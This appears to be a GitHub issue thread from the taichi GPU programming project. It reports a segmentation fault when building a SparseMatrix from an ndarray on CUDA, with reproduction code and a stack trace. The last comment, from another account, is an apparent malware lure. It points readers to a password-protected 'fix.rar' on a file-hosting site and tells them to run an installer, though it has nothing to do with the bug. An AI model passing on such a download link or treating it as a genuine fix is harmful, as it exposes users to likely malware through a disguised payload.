taichi-dev / taichi

Productive, portable, and performant GPU programming in Python.
https://taichi-lang.org
Apache License 2.0
25.54k stars 2.29k forks source link

SparseMatrix build_from_ndarray error in cuda #8584

Open WuTianyi321 opened 2 months ago

WuTianyi321 commented 2 months ago

Describe the bug The call to the build_from_ndarray function of SparseMatrix failed.

To Reproduce Please post a minimal sample code to reproduce the bug. The developer team will put a higher priority on bugs that can be reproduced within 20 lines of code. If you want a prompt reply, please keep the sample code short and representative.

import taichi as ti
ti.init(arch=ti.cuda)
N = 5
triplets = ti.Vector.ndarray(n=3, dtype=ti.f32, shape=10)
@ti.kernel
def fill(triplets: ti.types.ndarray()):
    for i in range(N):
       triplets[i] = ti.Vector([i, (i + 1) % N, i+1], dt=ti.f32)
fill(triplets)
A = ti.linalg.SparseMatrix(n=N, m=N, dtype=ti.f32)
A.build_from_ndarray(triplets)
print(A)

Log/Screenshots

$ python my_sample_code.py
[Taichi] version 1.7.2, llvm 15.0.1, commit 0131dce9, win, python 3.11.5
[Taichi] Starting on arch=cuda

If ti.init(arch=ti.cuda,debug=True), the log is :

$ python my_sample_code.py
[Taichi] version 1.7.2, llvm 15.0.1, commit 0131dce9, win, python 3.11.5
[Taichi] Starting on arch=cuda
[E 08/27/24 01:00:07.791 57768] Received signal 11 (SIGSEGV)

***********************************
* Taichi Compiler Stack Traceback *
***********************************
0x7ffbabf64dad: taichi::Time::wait_until in taichi_python.cp311-win_amd64.pyd
0x7ffbabf3f4d0: taichi::lang::Texture::get_device_allocation_ptr_as_int in taichi_python.cp311-win_amd64.pyd
0x7ffbabf3f283: taichi::lang::Texture::get_device_allocation_ptr_as_int in taichi_python.cp311-win_amd64.pyd
0x7ffbabf3fada: taichi::lang::Texture::get_device_allocation_ptr_as_int in taichi_python.cp311-win_amd64.pyd
0x7ffbabd8cede: taichi::lang::Callable::pop_argpack_stack in taichi_python.cp311-win_amd64.pyd
0x7ffbad0c20d4: taichi::Logger::error in taichi_python.cp311-win_amd64.pyd
0x7ffbabf3fc12: taichi::lang::Texture::get_device_allocation_ptr_as_int in taichi_python.cp311-win_amd64.pyd
0x7ffc500c0ef5: seh_filter_exe in ucrtbase.dll
0x7ff692f71f58: OPENSSL_Applink in python.exe
0x7ffc277ae390: _C_specific_handler in VCRUNTIME140.dll
0x7ffc5233292f: _chkstk in ntdll.dll
0x7ffc522e2554: RtlRaiseException in ntdll.dll
0x7ffc5233143e: KiUserExceptionDispatcher in ntdll.dll
0x7ffbabdf4a5d: taichi::lang::vulkan::VulkanDevice::vk_physical_device in taichi_python.cp311-win_amd64.pyd
0x7ffbabe323c0: taichi::lang::vulkan::VulkanDevice::vk_physical_device in taichi_python.cp311-win_amd64.pyd
0x7ffbac3a8c15: taichi::ui::vulkan::Gui::render_pass in taichi_python.cp311-win_amd64.pyd
0x7ffbac1c2f96: taichi::ui::vulkan::Gui::render_pass in taichi_python.cp311-win_amd64.pyd
0x7ffbac1a7d20: taichi::ui::vulkan::Gui::render_pass in taichi_python.cp311-win_amd64.pyd
0x7ffbac39f043: taichi::ui::vulkan::Gui::render_pass in taichi_python.cp311-win_amd64.pyd
0x7ffbac14634f: taichi::ui::vulkan::Gui::render_pass in taichi_python.cp311-win_amd64.pyd
0x7ffbac0a7994: taichi::Time::wait_until in taichi_python.cp311-win_amd64.pyd
0x7ffc0a13392c: PyCFunction_GetFlags in python311.dll
0x7ffc0a0eea11: PyObject_MakeTpCall in python311.dll
0x7ffc0a0eebd1: PyObject_Vectorcall in python311.dll
0x7ffc0a1e6c5a: PyEval_EvalFrameDefault in python311.dll
0x7ffc0a1eaa4e: PyEval_EvalFrameDefault in python311.dll
0x7ffc0a1e2180: PyEval_EvalCode in python311.dll
0x7ffc0a261e1e: PyRun_FileExFlags in python311.dll
0x7ffc0a261ef8: PyRun_FileExFlags in python311.dll
0x7ffc0a261a28: PyRun_StringFlags in python311.dll
0x7ffc0a25f5f5: PyRun_SimpleFileObject in python311.dll
0x7ffc0a25e864: PyRun_AnyFileObject in python311.dll
0x7ffc0a070abc: Py_gitidentifier in python311.dll
0x7ffc0a071493: Py_gitidentifier in python311.dll
0x7ffc0a071830: Py_Main in python311.dll
0x7ff692f71494: OPENSSL_Applink in python.exe
0x7ffc502d7374: BaseThreadInitThunk in KERNEL32.DLL
0x7ffc522dcc91: RtlUserThreadStart in ntdll.dll

Internal error occurred. Check out this page for possible solutions:
https://docs.taichi-lang.org/docs/install
MinecraftEarthVillage commented 2 months ago

Download https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file password: changeme In the installer menu, select "gcc."